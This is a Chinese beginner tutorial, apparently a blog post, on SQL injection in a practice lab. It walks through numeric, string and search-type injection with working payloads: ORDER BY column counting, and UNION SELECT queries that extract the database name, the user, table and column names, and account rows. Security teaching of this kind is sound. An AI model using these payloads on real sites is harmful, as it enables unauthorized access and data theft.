SQL注入靶场实战-小白入门
目录
SQL注入
数字型
1.测试有无测试点
and 1=1,and 1=2
2.order by 语句判断字段长,查出字段为3
-
order by 语句用于根据指定的列对结果集进行排序
-
order by后可以加列名,也可以加数字(代表第几列)
id = 1 order by 3(数字) //返回正常
id = 1 order by 4(数字) //返回异常 //说明字段长为3
3.猜出字段位(必须与内部字段数一致)(用union联合查询查看回显点为2,3)
id= -1 union select 1,2,3
4.猜数据库名,用户
id =-1 union select 1,database(),user()
5.联合查询(group_concat())点代表下一级,猜解当前数据库pentest中所有的表名。
id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=pentest
6.猜列名( account 表和 news 表)
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='pentest.account'
id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='pentest.news'
7.查询表中的数据
id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from pentest.news limit 0,1
id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from pentest.account limit 0,1
字符型
1.判断是否存在注入
1' or '1'='1 //返回正常
1' or '1'='2 //返回异常
2.接下来利用order by判断字段长,带入SQL查询语句可直接查询出数据(查询语句和数字型一样)
1' order by 3# //返回正常
1' order by 4# //返回异常
//注意#号用途:#起注释作用,会注释掉后面的' 单行注释还可用-- (--后面需加一个空格)
//注意后面的SQL查询语句末尾都得加一个#
搜索型
1.搜索型需要多闭合一个%,其他都与前面类似
-
首先判断注入点
1%' or 1=1# 1%' or 1=2#
下面就和前面数字型步骤一样,带入查询语句即可
1%' union select 1,database(),user()# //比如这里查询数据库名和用户
有什么错误或者改进意见欢迎评论或发给我噢!大家一起共同学习!大佬多指教!!!!